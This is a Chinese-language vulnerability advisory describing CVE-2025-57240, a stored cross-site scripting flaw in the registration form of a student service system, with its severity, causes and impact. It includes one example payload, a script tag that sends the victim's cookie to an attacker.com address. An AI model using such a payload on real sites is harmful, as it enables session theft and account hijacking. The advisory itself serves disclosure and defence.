CVE-2025-57240CVE-2025-57240是一个存在于17gz国际学生服务系统1.0版本中的存储型跨站脚本（Stored XSS）漏洞。该漏洞影响系统的注册功能模块，攻击者可以通过在用户注册过程中注入恶意JavaScript代码，当其他用户访问包含恶意脚本的页面时，攻击代码将在受害者浏览器中执行。漏洞的CVSS评分为6.1，属于中等严重程度，攻击向量为网络攻击，无需认证即可发起攻击，但需要用户交互才能触发。攻击成功后，攻击者可以窃取受害者的会话Cookie、劫持用户账户、进行钓鱼攻击或修改页面显示内容，对用户数据安全和系统完整性造成威胁。该漏洞由[email protected]于2025年10月23日披露，建议受影响用户尽快采取修复措施。
该XSS漏洞存在于17gz国际学生服务系统的注册步骤中，攻击者可以利用注册表单字段（如用户名、邮箱地址、联系电话等）注入恶意JavaScript代码。系统在后端存储用户输入时未对特殊字符进行充分过滤和转义处理，导致恶意代码被永久存储在数据库中。当其他用户访问用户列表、个人资料页面或任何显示攻击者信息的页面时，浏览器会解析并执行存储的恶意脚本。攻击者通常构造包含<script>标签或使用事件处理器（如onerror、onload等）的Payload，例如：<script>document.location='https://attacker.com/steal?cookie='+document.cookie</script>。由于系统未实施内容安全策略（CSP）或输出编码不足，恶意脚本可以成功执行。攻击者利用此漏洞可以窃取受害者的认证令牌、修改页面内容进行钓鱼、或者进一步对系统进行更深层次的攻击。